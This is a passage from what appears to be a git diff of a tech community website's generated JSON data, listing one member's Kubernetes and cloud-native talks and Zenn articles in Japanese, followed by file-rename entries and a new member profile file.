imagesはChainguard社によって提供されているdistrolessを中心としたセキュアなコンテナイメージ群だ、という理解です。Wolfiという(おそらくこれもChainguard社が開発している)コンテナ・クラウドネイティブ用途向けのLinux undistroなOSを利用して各C...","isoDate":"2023-12-05T03:58:09.000Z","dateMiliSeconds":1701748689000,"authorName":"bells17","authorId":"bells17"},{"title":"KEP-3063: Dynamic resource allocation","link":"https://speakerdeck.com/bells17/kep-3063-dynamic-resource-allocation","contentSnippet":"KEP持ち寄り会で発表した資料です。\rKubernetesのKEP \"Dynamic resource allocation\" に関する情報をまとめた内容になります。\r\rイベントURL: https://kep.connpass.com/event/299651/\r参考資料:\r\rhttps://zenn.dev/toversus/articles/fe2aa06f133b49 \rhttps://kubernetes.io/blog/2022/12/15/dynamic-resource-allocation/ \rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \rhttps://github.com/kubernetes-sigs/dra-example-driver/blob/main/demo/demo-apps.png \rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/components.png \rhttps://github.com/cncf-tags/container-device-interface \rhttps://github.com/containerd/containerd/blob/v1.7.9/pkg/cri/server/container_create_linux.go#L417-L419 \rhttps://github.com/cncf-tags/container-device-interface/blob/main/pkg/cdi/container-edits.go#L70-L148 \rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \rhttps://github.com/kubernetes/kubernetes/pull/111023 \rhttps://github.com/orgs/kubernetes/projects/95/views/1 \rhttps://github.com/kubernetes/dynamic-resource-allocation \rhttps://www.cncf.io/projects/akri/ \rhttps://github.com/kubernetes-sigs/dra-example-driver \rhttps://github.com/NVIDIA/k8s-dra-driver \rhttps://github.com/intel/intel-resource-drivers-for-kubernetes \rhttps://github.com/intel/intel-device-plugins-for-kubernetes \rhttps://docs.google.com/document/d/1BNWqgx_SmZDi-va_V31v3DnuVwYnF2EmN7D-O_fB6Oo/edit#heading=h.bxuci8gx6hna \rhttps://drive.google.com/file/d/1iLg2FEAEilb1dcI27TnB19VYtbcvgKhS/view\rhttps://developer.nvidia.com/blog/nvidia-gpu-operator-simplifying-gpu-management-in-kubernetes/ \rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/overview.html \rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html \rhttps://intel.github.io/intel-device-plugins-for-kubernetes/README.html \rhttps://github.com/NVIDIA/k8s-device-plugin\rhttps://blogs.nvidia.com/blog/multi-instance-gpus/ \rhttps://developer.nvidia.com/blog/nvidia-ampere-architecture-in-depth/ \rhttps://groups.google.com/a/kubernetes.io/g/dev/c/BDtCFfXQbw0?pli=1\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689 \rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689","isoDate":"2023-11-27T05:00:00.000Z","dateMiliSeconds":1701061200000,"authorName":"bells17","authorId":"bells17"},{"title":"kube-proxy入門","link":"https://speakerdeck.com/bells17/kube-proxyru-men","contentSnippet":"Kubernetes Novice Tokyo #28 の登壇資料です\r\rイベントURL: https://k8s-novice-jp.connpass.com/event/293157/\r配信URL: https://www.youtube.com/watch?v=LSW51Cm0Wc0\r\rコードリーディングメモ:\rhttps://zenn.dev/bells17/scraps/5e41da598a8266\r\r参考資料:\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.2 \rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \rhttps://qiita.com/Tocyuki/items/6d90a1ec4dd8e991a1ce \rhttps://oxynotes.com/?p=6361#5 \rhttps://atmarkit.itmedia.co.jp/ait/articles/1002/09/news119.html \rhttps://hana-shin.hatenablog.com/entry/2022/06/21/215757 \rhttps://qiita.com/syui/items/27020b970775a0c508ba \rhttps://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands \rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \rhttps://github.com/torvalds/linux/blob/master/Documentation/networking/nf_conntrack-sysctl.rst \rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \rhttps://linuxjm.osdn.jp/html/iptables/man8/iptables-extensions.8.html \rhttps://man.archlinux.org/man/conntrack.8.en \rhttps://nomeu.net/8380/ \rhttps://knowledge.sakura.ad.jp/4048/ \rhttps://docs.openshift.com/container-platform/4.10/rest_api/network_apis/service-v1.html \rhttps://stackoverflow.com/questions/75835169/kubernetes-loadbalancer-how-does-healthchecknodeport-work \rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip \rhttps://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/ \rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/ \rhttps://hyoublog.com/2020/05/20/kubernetes-externalip-service/ \rhttps://qiita.com/dingtianhongjie/items/8f3c320c4eb5cf25d9de \rhttps://milestone-of-se.nesuke.com/nw-basic/as-nw-engineer/loopback-address-interface/ \rhttps://kubernetes.io/docs/reference/networking/virtual-ips/ \rhttps://kubernetes.io/docs/concepts/services-networking/service/ \rhttps://kubernetes.io/ja/docs/concepts/services-networking/connect-applications-service/ \rhttps://knowledge.sakura.ad.jp/22636/ \rhttps://netfilter.org/index.html \rhttps://madomadox.hatenablog.com/entry/2021/01/03/190730 \rhttps://qiita.com/bashaway/items/e405d59d92670fbc5341 \rhttps://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture \rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \rhttps://eng-entrance.com/linux-firewall \r\r\r画像引用元:\rhttps://github.com/kubernetes/community/tree/master/icons \rhttps://github.com/kubernetes/kubernetes/tree/master/logo \rhttps://github.com/cncf/artwork/tree/master/projects/kubernetes \rhttps://github.com/kubernetes/kubeadm/tree/main/logos","isoDate":"2023-11-09T05:00:00.000Z","dateMiliSeconds":1699506000000,"authorName":"bells17","authorId":"bells17"},{"title":"kube-controller-manager入門","link":"https://speakerdeck.com/bells17/kube-controller-managerru-men","contentSnippet":"SRETT #7 で発表した資料です。\rhttps://3-shake.connpass.com/event/293432/\r\r発表のライブ配信はこちら。\rhttps://www.youtube.com/watch?v=h1VxlvF9bls\r\rzennのスクラップ:\rhttps://zenn.dev/bells17/scraps/592a02b3bc1ff3\r\rスライドで紹介した参考リンク集:\r- https://github.com/kubernetes/kubernetes/tree/v1.28.2","isoDate":"2023-10-12T04:00:00.000Z","dateMiliSeconds":1697083200000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetesソースコードリーディング入門","link":"https://speakerdeck.com/bells17/kubernetessosukotoriteinkuru-men","contentSnippet":"Kubernetes Novice Tokyo #27 で発表した資料です。\rhttps://k8s-novice-jp.connpass.com/event/293144/\r\r発表のライブ配信はこちら。\rTODO\r\rスライドで紹介した参考リンク集:\rhttps://bells17.medium.com/things-you-should-know-about-reading-kubernetes-codes-933b0ee6181d \rhttps://www.amazon.co.jp/dp/4297104385/\rhttps://www.amazon.co.jp/dp/4297118378/ \rhttps://go.dev/tour/welcome/1 \rhttps://gopherdojo.org/studyroom/ \rhttps://www.amazon.co.jp/dp/4621300253/ \rhttps://speakerdeck.com/bells17/kubelet-and-containers \rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp \rhttps://speakerdeck.com/sanposhiho/zi-zuo-sitexue-bukubernetes-schedulerru-men \rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive \rhttps://speakerdeck.com/masayaaoyama/infrastudy2-k8s \rhttps://github.com/kubernetes/client-go/tree/master/examples/workqueue \rhttps://github.com/kubernetes/sample-controller/blob/master/controller.go \rhttps://github.com/kubernetes-sigs/kubebuilder \rhttps://speakerdeck.com/bells17/kubebuilder-introduction \rhttps://zoetrope.github.io/kubebuilder-training/ \rhttps://github.com/cybozu-go \rhttps://www.youtube.com/watch?v=yqB_le-N6EE \rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-instrumentation/1602-structured-logging/README.md \rhttps://github.com/kubernetes/enhancements/issues/1602 \rhttps://github.com/kubernetes/klog/issues/125 \rhttps://github.com/kubernetes/klog/pull/126 \rhttps://github.com/kubernetes-csi \rhttps://kubernetes-csi.github.io/docs/drivers.html \rhttps://speakerdeck.com/bells17/introduction-to-csi \rhttps://github.com/kubernetes/kubeadm \rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init \rhttps://github.com/kubernetes-sigs/metrics-server \rhttps://speakerdeck.com/bells17/metrics-server \rhttps://speakerdeck.com/bells17/accurate-introduction \rhttps://github.com/cybozu-go/accurate \rhttps://slack.k8s.io/ \rhttps://www.youtube.com/watch?v=Ayo5w-CSmP0 \rhttps://github.com/kubernetes/community","isoDate":"2023-09-12T04:00:00.000Z","dateMiliSeconds":1694491200000,"authorName":"bells17","authorId":"bells17"},{"title":"Go言語でNetlinkを少し触った話","link":"https://zenn.dev/bells17/articles/netlink-goexample","contentSnippet":"Go言語でNetlinkを少し触ったのでメモ。具体的にはGo言語でNetlinkというネットワーク関連のライブラリを使ってStatic Routeを設定したりするサンプルを作ったりした。https://github.com/bells17/netlink-gosample Netlinkとは調べた範囲だと、Linuxカーネルのサブシステムの1つで、ルーティングテーブルの管理などのネットワーク関連の設定などを行う際に利用されるもの、という理解をしている。Netlinkは、Linuxカーネルとユーザ空間プロセス間の、またはカーネル内の通信を提供するためのIPC(Inter-pro...","isoDate":"2023-06-08T18:03:10.000Z","dateMiliSeconds":1686247390000,"authorName":"bells17","authorId":"bells17"},{"title":"ArtifactHUBについてのメモ","link":"https://zenn.dev/bells17/articles/artifacthub-note","contentSnippet":"ArtifactHUB というコンテナイメージHelm Chartなどを登録・検索することのできるツールを試してみたのでメモ。https://artifacthub.io/ ArtifactHUB についてコンテナイメージHelm Chartなどを「リポジトリ」として登録・検索することができるよう。登録できるリポジトリの種類は下記で確認できる。https://artifacthub.io/docs/topics/repositories/アカウント登録方法は現在下記の3つがあるemailgithubgoogle リポジトリの登録リポジトリ登...","isoDate":"2023-01-21T18:21:58.000Z","dateMiliSeconds":1674325318000,"authorName":"bells17","authorId":"bells17"},{"title":"container-structure-testによるコンテナのテスト","link":"https://zenn.dev/bells17/articles/container-structure-test","contentSnippet":"Googleが作成しているcontainer-structure-testというコンテナをテストするツールを試したのでメモ。かなり単純なツールなのでぶっちゃけREADMEに書いてあることを読めばわかるんだけど一応情報をまとめた。https://github.com/GoogleContainerTools/container-structure-testGoogleのブログで紹介されている記事はこちら。https://opensource.googleblog.com/2018/01/container-structure-tests-unit-tests.html cont...","isoDate":"2023-01-21T10:54:17.000Z","dateMiliSeconds":1674298457000,"authorName":"bells17","authorId":"bells17"},{"title":"docker-buildxとmulti-platform build周りについてまとめ","link":"https://zenn.dev/bells17/articles/docker-buildx","contentSnippet":"最近docker buildxを使ったmulti-platform build周りについての知見がある程度溜まってきたので必要そうな情報をまとめておく。buildx自体が実際に使うとハマりどころが多いので、すんなりと納得できるような文章がかけてないとは思うけど、実際に触る人がハマったり疑問に思ったりする内容の穴埋めはある程度できてるとは思ってる。ちなみにこの記事を書いてる時点のdocker-buildxの最新バージョンがv0.9.1なので、貼ってあるbuildxのリンクについては基本このバージョンのものになる。 docker-buildxってなに?リポジトリを見るとdock...","isoDate":"2022-11-19T16:52:45.000Z","dateMiliSeconds":1668876765000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/10/28] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20221028","contentSnippet":"#kubenewsの2022年10月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/whnN4hwsIYg 告知とかニュースっぽいもの Open Networking Conference Japanちょうど今日開催し...","isoDate":"2022-10-28T13:05:14.000Z","dateMiliSeconds":1666962314000,"authorName":"bells17","authorId":"bells17"},{"title":"controller-runtime Deep Dive","link":"https://speakerdeck.com/bells17/controller-runtime-deep-dive","contentSnippet":"Kubernetes Meetup Tokyo #53 ( https://k8sjp.connpass.com/event/259350/ ) のセッション資料です。\rcontroller-runtimeのアーキテクチャや内部実装について解説しています。\r\rセッション動画はこちらです。\rhttps://youtu.be/jCyt993dzaU\r\r以下スライドで紹介しているリンク:\r\rcontroller-runtime clientについて: https://zenn.dev/bells17/articles/controller-runtime-client \rcontroller-runtime: https://github.com/kubernetes-sigs/controller-runtime/tree/v0.12.3 \raws-load-balancer-controller: https://github.com/kubernetes-sigs/aws-load-balancer-controller/tree/v2.4.4 \rkueue: https://github.com/kubernetes-sigs/kueue/tree/v0.2.1\rKubebuilder Book: https://book.kubebuilder.io/architecture.html \rつくって学ぶKubebuilder: https://zoetrope.github.io/kubebuilder-training/ \rGinkgo/GomegaによるKubernetes Operatorのテスト手法: https://zenn.dev/zoetro/books/testing-kubernetes-operator \rCaching Unstructured Objects using controller-runtime: https://ymmt2005.hatenablog.com/entry/2021/07/25/Caching_Unstructured_Objects_using_controller-runtime \rkubebuilder-declarative-pattern: https://github.com/kubernetes-sigs/kubebuilder-declarative-pattern \rkubebuilder: https://github.com/kubernetes-sigs/kubebuilder \rcontroller-tools: https://github.com/kubernetes-sigs/controller-tools \r\raws-load-balancer-controller(Ingress Controller for AWS): https://github.com/kubernetes-sigs/aws-load-balancer-controller \rkueue(Job Queueing): https://github.com/kubernetes-sigs/kueue \rtopolvm(CSI Driver for LVM): https://github.com/topolvm/topolvm \rmoco(MySQL Operator): https://github.com/cybozu-go/moco \rlogging-operator: https://github.com/banzaicloud/logging-operator \ristio(Service Mesh): https://github.com/istio/istio","isoDate":"2022-10-06T04:00:00.000Z","dateMiliSeconds":1665028800000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/09/02] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220902","contentSnippet":"#kubenewsの2022年09月2日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/r2YsmQFcv-o 告知とかニュースっぽいもの controller-runtime clientについてhttps://zenn....","isoDate":"2022-09-02T13:01:11.000Z","dateMiliSeconds":1662123671000,"authorName":"bells17","authorId":"bells17"},{"title":"Visual Studio Codeで使えるリモート環境のdevcontainerが意外と便利そうだったのでまとめ","link":"https://zenn.dev/bells17/articles/remote-ssh-devcontainer","contentSnippet":"試してたらたまたまVisual Studio Code(vscode)のdevcontainer(Remote Container)が、Remote SSH経由でリモート環境でも使えることを知ったので、devcontainer用の環境構築方法やdevcontainerの構築方法についてまとめてみた今まではローカル環境のdockerか、codespaceでしか利用できないのかなと思っていたのだけど、リモート含めて利用できるとかなり便利そうな印象だったので一通り試してみました最近はRemote SSHでリモート環境を利用するケースが多いのでリモート環境で使えないならそんなに使えないかなと...","isoDate":"2022-09-01T18:16:25.000Z","dateMiliSeconds":1662056185000,"authorName":"bells17","authorId":"bells17"},{"title":"controller-runtime clientについて","link":"https://zenn.dev/bells17/articles/controller-runtime-client","contentSnippet":"KubernetesでOperatorやControllerを開発する際に利用するフレームワークであるcontroller-runtimeのclientについて調べたのでまとめます。この記事の目的は以下のような感じになります:controller-runtimeが提供するKubernetes clientの概要についてまとめることcontroller-runtime client周りの追加の不明点などがあった場合には、この記事をベースにコードベースで調べたいことをすぐに調べられる程度にはコードレベルで詳しい内容をまとめること以下についてわかるようになること各種内部clien...","isoDate":"2022-08-27T09:30:47.000Z","dateMiliSeconds":1661592647000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/07/015] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220715","contentSnippet":"#kubenewsの2022年07月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/ar1_fxX601E 告知とかニュースっぽいもの 『Linuxで動かしながら学ぶTCP/IPネットワーク入門』でネットワークの勉強をし...","isoDate":"2022-07-15T07:31:08.000Z","dateMiliSeconds":1657870268000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/07/01] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220701","contentSnippet":"#kubenewsの2022年07月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/R7VHtaBZFkQ 告知とかニュースっぽいもの Kubernetes Novice Tokyo #20にてKueueのセッションを行...","isoDate":"2022-07-01T11:14:01.000Z","dateMiliSeconds":1656674041000,"authorName":"bells17","authorId":"bells17"},{"title":"Kueueアーキテクチャ/Kueue Architecture","link":"https://speakerdeck.com/bells17/kueue-architecture","contentSnippet":"参考リンク一覧:\rコードリーディングメモ: https://zenn.dev/bells17/scraps/16625963e51d23 \r動作確認用manifests: https://github.com/bells17/tmp/tree/main/kueue-example \rリポジトリ: https://github.com/kubernetes-sigs/kueue/tree/v0.1.0\rDesign Docs(controller): https://bit.ly/kueue-controller-design \rDesign Docs(API): https://bit.ly/kueue-apis \rOld Proposal: https://bit.ly/k8s-job-management \r\r---\r\rhttps://youtu.be/CFUfw3cMNI8?t=724\rにてこのスライドを使ったKueueの解説セッションを行いましたので動画で見たい方はこちらでどうぞ","isoDate":"2022-05-24T04:00:00.000Z","dateMiliSeconds":1653364800000,"authorName":"bells17","authorId":"bells17"},{"title":"Kueue入門/Kueue Introduction","link":"https://speakerdeck.com/bells17/kueue-introduction","contentSnippet":"#k8sjp 第50回のLT資料です\rhttps://k8sjp.connpass.com/event/244591/","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"bells17","authorId":"bells17"},{"title":"zennの執筆環境向けdevcontainerを作成した話","link":"https://zenn.dev/bells17/articles/zenn-devcontainer","contentSnippet":"タイトルまんまでzennの執筆環境向けdevcontainerを作成したという話です前々からzennの記事はGithub repositoryと連携して書いており、codespaceにvscodeから接続して執筆してたのですが、zenn-cliを使ったプレビューが可能らしいということを最近知ったので、devcontainerの勉強がてらサクッとプレビューが可能な環境を作りましたという内容になります作ったdevcontainerのリポジトリはこちらですhttps://github.com/bells17/zenn-template 使い方READMEに書いてある通りですが、te...","isoDate":"2022-04-17T15:27:41.000Z","dateMiliSeconds":1650209261000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/04/15] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220415","contentSnippet":"普段は#kubenewsの2022年04月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/j76uphcYs2E 告知とかニュースっぽいもの Kubernetes Meetup TokyoでLTする予定ですhttps...","isoDate":"2022-04-15T12:50:24.000Z","dateMiliSeconds":1650027024000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/04/01] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220401","contentSnippet":"普段は#kubenewsの2022年04月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/qNk58ApYjdg 告知とかニュースっぽいもの Kubernetes Meetup Tokyoで登壇しましたhttps:/...","isoDate":"2022-04-01T12:45:40.000Z","dateMiliSeconds":1648817140000,"authorName":"bells17","authorId":"bells17"},{"title":"Cluster Autoscaler","link":"https://speakerdeck.com/bells17/cluster-autoscaler","contentSnippet":"Kubernetes Meetup Tokyo #49で発表したセッション資料です\rhttps://k8sjp.connpass.com/event/240993/\r\r配信URL:\rhttps://youtu.be/KOrantQgXkI?t=2258","isoDate":"2022-03-29T04:00:00.000Z","dateMiliSeconds":1648526400000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/03/25] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220325","contentSnippet":"普段は#kubenewsの2022年03月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/NewvQB5q-QU 告知とかニュースっぽいもの Cloud Native Database Meetup #4https:...","isoDate":"2022-03-25T12:55:35.000Z","dateMiliSeconds":1648212935000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/03/18] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220318","contentSnippet":"普段は#kubenewsの2022年03月18日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/y7DMp3aqCFM 告知とかニュースっぽいもの 3-shake SRE Tech Talk #3https://youtu...","isoDate":"2022-03-18T12:50:45.000Z","dateMiliSeconds":1647607845000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/03/04] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220304","contentSnippet":"普段は#kubenewsの2022年03月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/3s0T6k24I_o 告知とかニュースっぽいもの Twitterコミュニティ機能についてhttps://twitter.co...","isoDate":"2022-03-04T12:34:50.000Z","dateMiliSeconds":1646397290000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/25] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220225","contentSnippet":"普段は#kubenewsの2022年02月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL: 配信中止して記事だけ放流したので配信URLはありません 告知とかニュースっぽいもの NetApp Insight Japan 2022で講演しましたセッション動...","isoDate":"2022-02-25T13:31:31.000Z","dateMiliSeconds":1645795891000,"authorName":"bells17","authorId":"bells17"},{"title":"[EN]Trident Deep Dive","link":"https://speakerdeck.com/bells17/en-trident-deep-dive","contentSnippet":"NetApp INSIGHT Japan 2022\rhttps://insight.netapp.com/ja/\r\rvideo: http://netapp.tv/details/28744\r\rJapanese ver: https://speakerdeck.com/bells17/trident-deep-dive","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/10] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220210","contentSnippet":"普段は#kubenewsの2022年02月10日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの k8sを便利にするらしいTanzu Application Platform...","isoDate":"2022-02-10T12:56:14.000Z","dateMiliSeconds":1644497774000,"authorName":"bells17","authorId":"bells17"}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/gawingowin.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/gawingowin.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/gawingowin.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/gawingowin.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/hide-1.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/hide-1.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/hide-1.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/hide-1.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/hiroki-hasegawa.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/hiroki-hasegawa.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/hiroki-hasegawa.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/hiroki-hasegawa.json diff --git a/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/iota.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/iota.json new file mode 100644 index 0000000000..72f8ca7e84 --- /dev/null +++ b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/iota.json @@ -0,0 +1 @@ +{"pageProps":{"member":{"id":"iota","name":"Itaru Ota","avatarSrc":"/avatars/iota.jpg","role":"Full Stack Engineer","bio":"A.R.E.","sources":["https://zenn.dev/iorandd/feed"],"githubUsername":"Ota1022","twitterUsername":"iorandd","websiteUrl":"https://ota1022.github.io/"},"postItems":[]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/ixsakra.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/ixsakra.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/ixsakra.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/ixsakra.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/k-nagase.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/k-nagase.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/k-nagase.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/k-nagase.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/kaisato.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/kaisato.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/kaisato.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/kaisato.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/kaita-nakamura.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/kaita-nakamura.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/kaita-nakamura.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/kaita-nakamura.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/kiyos.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/kiyos.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/kiyos.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/kiyos.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/kobuchi.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/kobuchi.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/kobuchi.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/kobuchi.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/kojake_300.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/kojake_300.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/kojake_300.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/kojake_300.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/komiyama5380.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/komiyama5380.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/komiyama5380.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/komiyama5380.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/kurita.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/kurita.json similarity index 100% rename from 